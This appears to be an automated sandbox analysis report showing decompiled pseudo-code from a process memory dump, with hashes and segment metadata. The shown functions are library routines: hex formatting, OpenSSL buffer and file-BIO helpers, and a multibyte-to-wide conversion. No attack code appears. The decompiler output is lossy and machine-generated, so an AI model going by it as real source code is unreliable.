                                                                				if((_t165 & 0x00000020) != 0) {
                                                                					 *(_t204 + 0x10) = 1;
                                                                				}
                                                                				goto L19;
                                                                				do {
                                                                					L28:
                                                                					_t151 =  *_t112;
                                                                					_t112 =  &(_t112[1]);
                                                                				} while (_t151 != 0);
                                                                				_t176 =  *((intOrPtr*)(_t204 + 0x30));
                                                                				_t155 =  *((intOrPtr*)(_t204 + 0x6c)) - (0 | _t176 != 0x00000000) - _t112 - _t169 - _t189;
                                                                				_t172 = 0;
                                                                				 *(_t204 + 0x28) = _t155;
                                                                				if(_t139 < 0) {
                                                                					 *(_t204 + 0x10) = 0;
                                                                				}
                                                                				if(_t155 < _t172) {
                                                                					 *(_t204 + 0x28) = _t172;
                                                                				}
                                                                				_t114 =  *((intOrPtr*)(_t204 + 0x74));
                                                                				if((_t114 & 0x00000010) != 0) {
                                                                					_t163 =  *(_t204 + 0x28);
                                                                					if( *(_t204 + 0x10) < _t163) {
                                                                						 *(_t204 + 0x10) = _t163;
                                                                					}
                                                                					 *(_t204 + 0x28) = _t172;
                                                                				}
                                                                				if((_t114 & 0x00000001) != 0) {
                                                                					 *(_t204 + 0x28) =  ~( *(_t204 + 0x28));
                                                                				}
                                                                				if( *(_t204 + 0x28) <= _t172) {
                                                                					L43:
                                                                					if(_t176 == 0) {
                                                                						L45:
                                                                						_t116 =  *( *(_t204 + 0x1c));
                                                                						if( *( *(_t204 + 0x1c)) == 0) {
                                                                							L49:
                                                                							if( *(_t204 + 0x10) <= 0) {
                                                                								L53:
                                                                								if(_t201 <= 0) {
                                                                									L56:
                                                                									if( *(_t204 + 0x28) >= 0) {
                                                                										L60:
                                                                										_pop(_t177);
                                                                										_pop(_t190);
                                                                										_pop(_t140);
                                                                										return E00B89C26(1, _t140,  *(_t204 + 0x40) ^ _t204, _t172, _t177, _t190);
                                                                									} else {
                                                                										while(1) {
                                                                											_t120 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *((intOrPtr*)(_t204 + 0x18)),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), 0x20);
                                                                											_t204 = _t204 + 8;
                                                                											if(_t120 == 0) {
                                                                												goto L61;
                                                                											}
                                                                											_t100 = _t204 + 0x28;
                                                                											 *_t100 =  *(_t204 + 0x28) + 1;
                                                                											if( *_t100 < 0) {
                                                                												continue;
                                                                											} else {
                                                                												goto L60;
                                                                											}
                                                                											goto L62;
                                                                										}
                                                                										goto L61;
                                                                									}
                                                                								} else {
                                                                									while(1) {
                                                                										_t160 =  *((char*)(_t204 + _t201 + 0x33));
                                                                										_t172 =  *(_t204 + 0x24);
                                                                										_t201 = _t201 - 1;
                                                                										_t123 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *((intOrPtr*)(_t204 + 0x18)),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), _t160);
                                                                										_t204 = _t204 + 8;
                                                                										if(_t123 == 0) {
                                                                											goto L61;
                                                                										}
                                                                										if(_t201 > 0) {
                                                                											continue;
                                                                										} else {
                                                                											goto L56;
                                                                										}
                                                                										goto L62;
                                                                									}
                                                                									goto L61;
                                                                								}
                                                                							} else {
                                                                								while(1) {
                                                                									_t125 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *((intOrPtr*)(_t204 + 0x18)),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), 0x30);
                                                                									_t204 = _t204 + 8;
                                                                									if(_t125 == 0) {
                                                                										goto L61;
                                                                									}
                                                                									_t127 =  *(_t204 + 0x10) - 1;
                                                                									 *(_t204 + 0x10) = _t127;
                                                                									if(_t127 > 0) {
                                                                										continue;
                                                                									} else {
                                                                										goto L53;
                                                                									}
                                                                									goto L62;
                                                                								}
                                                                								goto L61;
                                                                							}
                                                                						} else {
                                                                							while(1) {
                                                                								_t172 =  *(_t204 + 0x24);
                                                                								_t128 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *((intOrPtr*)(_t204 + 0x18)),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), _t116);
                                                                								_t204 = _t204 + 8;
                                                                								if(_t128 == 0) {
                                                                									goto L61;
                                                                								}
                                                                								_t130 =  &(( *(_t204 + 0x1c))[1]);
                                                                								 *(_t204 + 0x1c) = _t130;
                                                                								_t116 =  *_t130;
                                                                								if( *_t130 != 0) {
                                                                									continue;
                                                                								} else {
                                                                									goto L49;
                                                                								}
                                                                								goto L62;
                                                                							}
                                                                							goto L61;
                                                                						}
                                                                					} else {
                                                                						_t172 =  *(_t204 + 0x24);
                                                                						_t131 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *(_t204 + 0x1c),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), _t176);
                                                                						_t204 = _t204 + 8;
                                                                						if(_t131 == 0) {
                                                                							goto L61;
                                                                						} else {
                                                                							goto L45;
                                                                						}
                                                                					}
                                                                				} else {
                                                                					while(1) {
                                                                						_t132 = E00AC7DE0( *((intOrPtr*)(_t204 + 0x20)),  *((intOrPtr*)(_t204 + 0x18)),  *((intOrPtr*)(_t204 + 0x14)),  *(_t204 + 0x24), 0x20);
                                                                						_t204 = _t204 + 8;
                                                                						if(_t132 == 0) {
                                                                							break;
                                                                						}
                                                                						_t134 =  *(_t204 + 0x28) - 1;
                                                                						 *(_t204 + 0x28) = _t134;
                                                                						if(_t134 > 0) {
                                                                							continue;
                                                                						} else {
                                                                							_t176 =  *((intOrPtr*)(_t204 + 0x30));
                                                                							goto L43;
                                                                						}
                                                                						goto L62;
                                                                					}
                                                                					L61:
                                                                					_pop(_t179);
                                                                					_pop(_t192);
                                                                					_pop(_t142);
                                                                					return E00B89C26(0, _t142,  *(_t204 + 0x50) ^ _t204, _t172, _t179, _t192);
                                                                				}
                                                                				L62:
                                                                				L19:
                                                                				_t188 = "0123456789ABCDEF";
                                                                				if( *(_t204 + 0x10) == 0) {
                                                                					_t188 = "0123456789abcdef";
                                                                				}
                                                                				_t166 =  *(_t204 + 0x68);
                                                                				_t110 = E00B8CDA0(_t110, _t149, _t166, 0);
                                                                				 *((char*)(_t204 + _t201 + 0x34)) = _t188[_t149];
                                                                				_t149 = _t166;
                                                                				_t201 = _t201 + 1;
                                                                				 *((intOrPtr*)(_t204 + 0x2c)) = _t137;
                                                                				if((_t110 | _t149) == 0 || _t201 >= 0x1a) {
                                                                					if(_t201 == 0x1a) {
                                                                						_t201 = 0x19;
                                                                					}
                                                                					_t111 =  *((intOrPtr*)(_t204 + 0x70));
                                                                					_t139 = _t111 - _t201;
                                                                					 *((char*)(_t204 + _t201 + 0x34)) = 0;
                                                                					 *(_t204 + 0x10) = _t139;
                                                                					_t189 = _t111;
                                                                					if(_t111 < _t201) {
                                                                						_t189 = _t201;
                                                                					}
                                                                					_t112 =  *(_t204 + 0x1c);
                                                                					_t44 =  &(_t112[1]); // 0xba1292
                                                                					_t169 = _t44;
                                                                				} else {
                                                                					goto L19;
                                                                				}
                                                                				goto L28;
                                                                			}













































                                                                0x00ac8045
                                                                0x00ac804a
                                                                0x00ac8051
                                                                0x00ac8059
                                                                0x00ac805b
                                                                0x00ac8061
                                                                0x00ac806b
                                                                0x00ac806f
                                                                0x00ac8073
                                                                0x00ac8077
                                                                0x00ac807b
                                                                0x00ac8083
                                                                0x00ac8087
                                                                0x00ac8089
                                                                0x00ac8089
                                                                0x00ac808d
                                                                0x00ac8091
                                                                0x00ac8095
                                                                0x00ac8099
                                                                0x00ac809b
                                                                0x00ac80a0
                                                                0x00ac80a2
                                                                0x00ac80a4
                                                                0x00ac80c3
                                                                0x00ac80d2
                                                                0x00ac80d4
                                                                0x00ac80d4
                                                                0x00ac80c5
                                                                0x00ac80c5
                                                                0x00ac80c5
                                                                0x00ac80ac
                                                                0x00ac80ae
                                                                0x00ac80b2
                                                                0x00ac80ba
                                                                0x00ac80bc
                                                                0x00ac80bc
                                                                0x00ac80a4
                                                                0x00ac80df
                                                                0x00ac80e1
                                                                0x00ac80e8
                                                                0x00ac80f7
                                                                0x00ac80f9
                                                                0x00ac80f9
                                                                0x00ac80ea
                                                                0x00ac80ea
                                                                0x00ac80ea
                                                                0x00ac80e8
                                                                0x00ac8104
                                                                0x00ac8106
                                                                0x00ac8106
                                                                0x00ac810e
                                                                0x00ac8171
                                                                0x00ac8171
                                                                0x00ac8171
                                                                0x00ac8173
                                                                0x00ac8174
                                                                0x00ac8178
                                                                0x00ac818d
                                                                0x00ac818f
                                                                0x00ac8193
                                                                0x00ac8197
                                                                0x00ac8199
                                                                0x00ac8199
                                                                0x00ac819f
                                                                0x00ac81a1
                                                                0x00ac81a1
                                                                0x00ac81a5
                                                                0x00ac81ab
                                                                0x00ac81ad
                                                                0x00ac81b5
                                                                0x00ac81b7
                                                                0x00ac81b7
                                                                0x00ac81bb
                                                                0x00ac81bb
                                                                0x00ac81c1
                                                                0x00ac81c9
                                                                0x00ac81c9
                                                                0x00ac81d1
                                                                0x00ac8207
                                                                0x00ac8209
                                                                0x00ac822d
                                                                0x00ac8231
                                                                0x00ac8235
                                                                0x00ac8274
                                                                0x00ac8279
                                                                0x00ac82ac
                                                                0x00ac82ae
                                                                0x00ac82d8
                                                                0x00ac82dd
                                                                0x00ac8306
                                                                0x00ac8306
                                                                0x00ac8307
                                                                0x00ac830e
                                                                0x00ac831d
                                                                0x00ac82e0
                                                                0x00ac82e0
                                                                0x00ac82f3
                                                                0x00ac82f8
                                                                0x00ac82fd
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac82ff
                                                                0x00ac82ff
                                                                0x00ac8304
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8304
                                                                0x00000000
                                                                0x00ac82e0
                                                                0x00ac82b0
                                                                0x00ac82b0
                                                                0x00ac82b0
                                                                0x00ac82b5
                                                                0x00ac82c5
                                                                0x00ac82c8
                                                                0x00ac82cd
                                                                0x00ac82d2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac82d6
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac82d6
                                                                0x00000000
                                                                0x00ac82b0
                                                                0x00ac827b
                                                                0x00ac8280
                                                                0x00ac8293
                                                                0x00ac8298
                                                                0x00ac829d
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac82a3
                                                                0x00ac82a4
                                                                0x00ac82aa
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac82aa
                                                                0x00000000
                                                                0x00ac8280
                                                                0x00ac8237
                                                                0x00ac8240
                                                                0x00ac8240
                                                                0x00ac8255
                                                                0x00ac825a
                                                                0x00ac825f
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8269
                                                                0x00ac826a
                                                                0x00ac826e
                                                                0x00ac8272
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8272
                                                                0x00000000
                                                                0x00ac8240
                                                                0x00ac820b
                                                                0x00ac820b
                                                                0x00ac821d
                                                                0x00ac8222
                                                                0x00ac8227
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac8227
                                                                0x00ac81d3
                                                                0x00ac81d3
                                                                0x00ac81e6
                                                                0x00ac81eb
                                                                0x00ac81f0
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac81fa
                                                                0x00ac81fb
                                                                0x00ac8201
                                                                0x00000000
                                                                0x00ac8203
                                                                0x00ac8203
                                                                0x00000000
                                                                0x00ac8203
                                                                0x00000000
                                                                0x00ac8201
                                                                0x00ac831e
                                                                0x00ac8322
                                                                0x00ac8323
                                                                0x00ac8325
                                                                0x00ac8332
                                                                0x00ac8332
                                                                0x00000000
                                                                0x00ac8110
                                                                0x00ac8115
                                                                0x00ac811a
                                                                0x00ac811c
                                                                0x00ac811c
                                                                0x00ac8121
                                                                0x00ac8129
                                                                0x00ac8131
                                                                0x00ac8135
                                                                0x00ac8139
                                                                0x00ac813c
                                                                0x00ac8140
                                                                0x00ac814a
                                                                0x00ac814c
                                                                0x00ac814c
                                                                0x00ac8151
                                                                0x00ac8157
                                                                0x00ac815b
                                                                0x00ac8160
                                                                0x00ac8164
                                                                0x00ac8166
                                                                0x00ac8168
                                                                0x00ac8168
                                                                0x00ac816a
                                                                0x00ac816e
                                                                0x00ac816e
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __aulldvrm
                                                                • String ID: $0123456789ABCDEF$0123456789abcdef
                                                                • API String ID: 1302938615-30751140
                                                                • Opcode ID: 996a8efb6216d0ec7ddf9294349cc13df24167653f2c72da69e8f79eb7821f8e
                                                                • Instruction ID: 5c91124f74a6e414eb6e7b783552c02bc80ac7c4ea7ee899515d9bd9f97a9962
                                                                • Opcode Fuzzy Hash: 996a8efb6216d0ec7ddf9294349cc13df24167653f2c72da69e8f79eb7821f8e
                                                                • Instruction Fuzzy Hash: 21916B75A083418BD710CF29C984B2BB7E1BFC8754F1A0A1DF89497311DB39E949CB92
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC99A0(void* __ebp, intOrPtr* _a4, intOrPtr _a8) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				intOrPtr _t21;
                                                                				intOrPtr _t37;
                                                                				intOrPtr* _t53;
                                                                				intOrPtr _t54;
                                                                
                                                                				_t54 = _a8;
                                                                				_t53 = _a4;
                                                                				_t17 =  *_t53;
                                                                				if( *_t53 < _t54) {
                                                                					_t4 = _t53 + 8; // 0x44030447
                                                                					_t40 =  *_t4;
                                                                					if( *_t4 < _t54) {
                                                                						if(_t54 <= 0x5ffffffc) {
                                                                							_t6 = _t54 + 3; // 0xacb267
                                                                							_t37 = (0xaaaaaaab * _t6 >> 0x20 >> 1) + (0xaaaaaaab * _t6 >> 0x20 >> 1) + (0xaaaaaaab * _t6 >> 0x20 >> 1) + (0xaaaaaaab * _t6 >> 0x20 >> 1);
                                                                							if(( *(_t53 + 0xc) & 0x00000001) == 0) {
                                                                								_t14 = _t53 + 4; // 0x8b4b74c0
                                                                								_t21 = E00AC35B0(_t53, __ebp,  *_t14, _t40, _t37, "crypto\\buffer\\buffer.c", 0x86);
                                                                							} else {
                                                                								_t21 = E00AC9870(_t37, _t53, _t37);
                                                                							}
                                                                							if(_t21 != 0) {
                                                                								 *((intOrPtr*)(_t53 + 4)) = _t21;
                                                                								 *((intOrPtr*)(_t53 + 8)) = _t37;
                                                                								E00B8BB40(_t53,  *_t53 + _t21, 0, _t54 -  *_t53);
                                                                								 *_t53 = _t54;
                                                                								return _t54;
                                                                							} else {
                                                                								E00AB8310(_t53, 7, 0x69, 0x41, "crypto\\buffer\\buffer.c", 0x88);
                                                                								return 0;
                                                                							}
                                                                						} else {
                                                                							E00AB8310(_t53, 7, 0x69, 0x41, "crypto\\buffer\\buffer.c", 0x7f);
                                                                							return 0;
                                                                						}
                                                                					} else {
                                                                						_t5 = _t53 + 4; // 0x8b4b74c0
                                                                						E00B8BB40(_t53,  *_t5 + _t17, 0, _t54 - _t17);
                                                                						 *_t53 = _t54;
                                                                						return _t54;
                                                                					}
                                                                				} else {
                                                                					_t3 = _t53 + 4; // 0x8b4b74c0
                                                                					_t45 =  *_t3;
                                                                					if( *_t3 != 0) {
                                                                						E00B8BB40(_t53, _t45 + _t54, 0, _t17 - _t54);
                                                                					}
                                                                					 *_t53 = _t54;
                                                                					return _t54;
                                                                				}
                                                                			}









                                                                0x00ac99a1
                                                                0x00ac99a6
                                                                0x00ac99aa
                                                                0x00ac99ae
                                                                0x00ac99ce
                                                                0x00ac99ce
                                                                0x00ac99d3
                                                                0x00ac99f7
                                                                0x00ac9a13
                                                                0x00ac9a24
                                                                0x00ac9a2a
                                                                0x00ac9a37
                                                                0x00ac9a47
                                                                0x00ac9a2c
                                                                0x00ac9a2d
                                                                0x00ac9a32
                                                                0x00ac9a51
                                                                0x00ac9a7f
                                                                0x00ac9a82
                                                                0x00ac9a85
                                                                0x00ac9a8e
                                                                0x00ac9a94
                                                                0x00ac9a53
                                                                0x00ac9a63
                                                                0x00ac9a72
                                                                0x00ac9a72
                                                                0x00ac99f9
                                                                0x00ac9a06
                                                                0x00ac9a12
                                                                0x00ac9a12
                                                                0x00ac99d5
                                                                0x00ac99d5
                                                                0x00ac99e2
                                                                0x00ac99ea
                                                                0x00ac99f0
                                                                0x00ac99f0
                                                                0x00ac99b0
                                                                0x00ac99b0
                                                                0x00ac99b0
                                                                0x00ac99b5
                                                                0x00ac99bf
                                                                0x00ac99c4
                                                                0x00ac99c7
                                                                0x00ac99cd
                                                                0x00ac99cd

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID: crypto\buffer\buffer.c
                                                                • API String ID: 2102423945-2193715570
                                                                • Opcode ID: 18c5b08290ece7b2369cb622ce0068c544effa27102adfdd111f417a3374372a
                                                                • Instruction ID: 9cb8015b5064db2200c9bb680010eadac79f0273919388bf89bd7e4dbd70b63c
                                                                • Opcode Fuzzy Hash: 18c5b08290ece7b2369cb622ce0068c544effa27102adfdd111f417a3374372a
                                                                • Instruction Fuzzy Hash: EE2123B2B402116BD614AA6CFC42FAAF398AB80F50F05863DF649D76D1E7B4AC5183D0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC9260(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                				void* __edi;
                                                                				void* _t20;
                                                                
                                                                				_t23 = _a4;
                                                                				if( *((intOrPtr*)(_a4 + 0xc)) == 0) {
                                                                					L5:
                                                                					return 0;
                                                                				} else {
                                                                					_t17 = _a8;
                                                                					if(_a8 == 0) {
                                                                						goto L5;
                                                                					} else {
                                                                						_t20 = E00B8AC24(_t17, 1, _a12,  *((intOrPtr*)(_t23 + 0x20)));
                                                                						if(E00B8CFED( *((intOrPtr*)(_t23 + 0x20))) == 0) {
                                                                							return _t20;
                                                                						}
                                                                						E00AB8310(_t20, 2, 0xb, GetLastError(), "crypto\\bio\\bss_file.c", 0x96);
                                                                						return E00AB8310(_t20, 0x20, 0x82, 2, "crypto\\bio\\bss_file.c", 0x97) | 0xffffffff;
                                                                					}
                                                                				}
                                                                			}





                                                                0x00ac9261
                                                                0x00ac926a
                                                                0x00ac92d7
                                                                0x00ac92d7
                                                                0x00ac926c
                                                                0x00ac926c
                                                                0x00ac9272
                                                                0x00000000
                                                                0x00ac9274
                                                                0x00ac9286
                                                                0x00ac9296
                                                                0x00000000
                                                                0x00ac92d5
                                                                0x00ac92ad
                                                                0x00ac92d2
                                                                0x00ac92d2
                                                                0x00ac9272

                                                                APIs
                                                                • __fread_nolock.LIBCMT ref: 00AC9281
                                                                • _ferror.LIBCMT ref: 00AC928C
                                                                • GetLastError.KERNEL32(crypto\bio\bss_file.c,00000096), ref: 00AC92A2
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ErrorLast__fread_nolock_ferror
                                                                • String ID: crypto\bio\bss_file.c
                                                                • API String ID: 460735022-3585566364
                                                                • Opcode ID: 5b34c950b8d7f90c16555de7000d389cb687d956952246fb6aaeff10e76af131
                                                                • Instruction ID: 39f7a246a358c00e619c48267b1b2b5f09f49f4bbc4f97028a4bb64cb1cb9c9b
                                                                • Opcode Fuzzy Hash: 5b34c950b8d7f90c16555de7000d389cb687d956952246fb6aaeff10e76af131
                                                                • Instruction Fuzzy Hash: A6F062727543007BE660B779AC07FAB72D8AB88B20F054D6DB689DE5C2DAA0DC40C761
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2351d80d76936e7cc112c543ba29525f83f4cde938708ee4f02f5d6b98c450a9
                                                                • Instruction ID: 4f609ffe6a2037d31752927041b324f6dedef2c861e68fc07cc5c6ce7b50c600
                                                                • Opcode Fuzzy Hash: 2351d80d76936e7cc112c543ba29525f83f4cde938708ee4f02f5d6b98c450a9
                                                                • Instruction Fuzzy Hash: 25D17AB5604204AFD704DF68CC95E7BB7E9EBC9704F048A1DF98A87345E635E8058BA2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00B9AD24(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
                                                                				char _v8;
                                                                				signed int _v12;
                                                                				char _v20;
                                                                				char _t43;
                                                                				char _t46;
                                                                				signed int _t53;
                                                                				signed int _t54;
                                                                				intOrPtr _t56;
                                                                				int _t57;
                                                                				int _t58;
                                                                				signed short* _t59;
                                                                				short* _t60;
                                                                				int _t65;
                                                                				char* _t73;
                                                                
                                                                				_t73 = _a8;
                                                                				if(_t73 == 0 || _a12 == 0) {
                                                                					L5:
                                                                					return 0;
                                                                				} else {
                                                                					if( *_t73 != 0) {
                                                                						E00B8AE5D( &_v20, __edi, _a16);
                                                                						_t43 = _v20;
                                                                						__eflags =  *(_t43 + 0x14);
                                                                						if( *(_t43 + 0x14) != 0) {
                                                                							_t46 = E00B947E8( *_t73 & 0x000000ff,  &_v20);
                                                                							__eflags = _t46;
                                                                							if(_t46 == 0) {
                                                                								__eflags = _a4;
                                                                								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
                                                                								if(__eflags != 0) {
                                                                									L10:
                                                                									__eflags = _v8;
                                                                									if(_v8 != 0) {
                                                                										_t53 = _v12;
                                                                										_t11 = _t53 + 0x70;
                                                                										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
                                                                										__eflags =  *_t11;
                                                                									}
                                                                									return 1;
                                                                								}
                                                                								L21:
                                                                								_t54 = E00B8D8C9(__eflags);
                                                                								 *_t54 = 0x2a;
                                                                								__eflags = _v8;
                                                                								if(_v8 != 0) {
                                                                									_t54 = _v12;
                                                                									_t33 = _t54 + 0x70;
                                                                									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
                                                                									__eflags =  *_t33;
                                                                								}
                                                                								return _t54 | 0xffffffff;
                                                                							}
                                                                							_t56 = _v20;
                                                                							_t65 =  *(_t56 + 0xac);
                                                                							__eflags = _t65 - 1;
                                                                							if(_t65 <= 1) {
                                                                								L17:
                                                                								__eflags = _a12 -  *(_t56 + 0xac);
                                                                								if(__eflags < 0) {
                                                                									goto L21;
                                                                								}
                                                                								__eflags = _t73[1];
                                                                								if(__eflags == 0) {
                                                                									goto L21;
                                                                								}
                                                                								L19:
                                                                								_t57 =  *(_t56 + 0xac);
                                                                								__eflags = _v8;
                                                                								if(_v8 == 0) {
                                                                									return _t57;
                                                                								}
                                                                								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
                                                                								return _t57;
                                                                							}
                                                                							__eflags = _a12 - _t65;
                                                                							if(_a12 < _t65) {
                                                                								goto L17;
                                                                							}
                                                                							__eflags = _a4;
                                                                							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
                                                                							__eflags = _t58;
                                                                							_t56 = _v20;
                                                                							if(_t58 != 0) {
                                                                								goto L19;
                                                                							}
                                                                							goto L17;
                                                                						}
                                                                						_t59 = _a4;
                                                                						__eflags = _t59;
                                                                						if(_t59 != 0) {
                                                                							 *_t59 =  *_t73 & 0x000000ff;
                                                                						}
                                                                						goto L10;
                                                                					} else {
                                                                						_t60 = _a4;
                                                                						if(_t60 != 0) {
                                                                							 *_t60 = 0;
                                                                						}
                                                                						goto L5;
                                                                					}
                                                                				}
                                                                			}

















                                                                0x00b9ad2e
                                                                0x00b9ad35
                                                                0x00b9ad4c
                                                                0x00000000
                                                                0x00b9ad3c
                                                                0x00b9ad3e
                                                                0x00b9ad58
                                                                0x00b9ad5d
                                                                0x00b9ad60
                                                                0x00b9ad63
                                                                0x00b9ad8c
                                                                0x00b9ad93
                                                                0x00b9ad95
                                                                0x00b9ae16
                                                                0x00b9ae31
                                                                0x00b9ae33
                                                                0x00b9ad73
                                                                0x00b9ad73
                                                                0x00b9ad76
                                                                0x00b9ad78
                                                                0x00b9ad7b
                                                                0x00b9ad7b
                                                                0x00b9ad7b
                                                                0x00b9ad7b
                                                                0x00000000
                                                                0x00b9ad81
                                                                0x00b9adf5
                                                                0x00b9adf5
                                                                0x00b9adfa
                                                                0x00b9ae00
                                                                0x00b9ae03
                                                                0x00b9ae05
                                                                0x00b9ae08
                                                                0x00b9ae08
                                                                0x00b9ae08
                                                                0x00b9ae08
                                                                0x00000000
                                                                0x00b9ae0c
                                                                0x00b9ad97
                                                                0x00b9ad9a
                                                                0x00b9ada0
                                                                0x00b9ada3
                                                                0x00b9adca
                                                                0x00b9adcd
                                                                0x00b9add3
                                                                0x00000000
                                                                0x00000000
                                                                0x00b9add5
                                                                0x00b9add8
                                                                0x00000000
                                                                0x00000000
                                                                0x00b9adda
                                                                0x00b9adda
                                                                0x00b9ade0
                                                                0x00b9ade3
                                                                0x00b9ad51
                                                                0x00b9ad51
                                                                0x00b9adec
                                                                0x00000000
                                                                0x00b9adec
                                                                0x00b9ada5
                                                                0x00b9ada8
                                                                0x00000000
                                                                0x00000000
                                                                0x00b9adac
                                                                0x00b9adbd
                                                                0x00b9adc3
                                                                0x00b9adc5
                                                                0x00b9adc8
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00b9adc8
                                                                0x00b9ad65
                                                                0x00b9ad68
                                                                0x00b9ad6a
                                                                0x00b9ad70
                                                                0x00b9ad70
                                                                0x00000000
